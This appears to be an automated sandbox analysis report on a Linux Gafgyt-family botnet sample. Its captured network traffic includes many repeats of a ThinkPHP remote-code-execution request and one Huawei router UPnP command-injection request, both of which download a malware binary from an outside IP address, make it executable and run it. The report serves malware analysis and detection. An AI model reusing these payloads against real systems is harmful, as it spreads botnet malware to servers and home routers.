Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0

Source: global traffic

DNS traffic detected: DNS query: vector.mineheaven.org

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: U6YcZ2TLtT.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.mips
Source: U6YcZ2TLtT.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.x86
Source: U6YcZ2TLtT.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: U6YcZ2TLtT.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: U6YcZ2TLtT.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: U6YcZ2TLtT.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
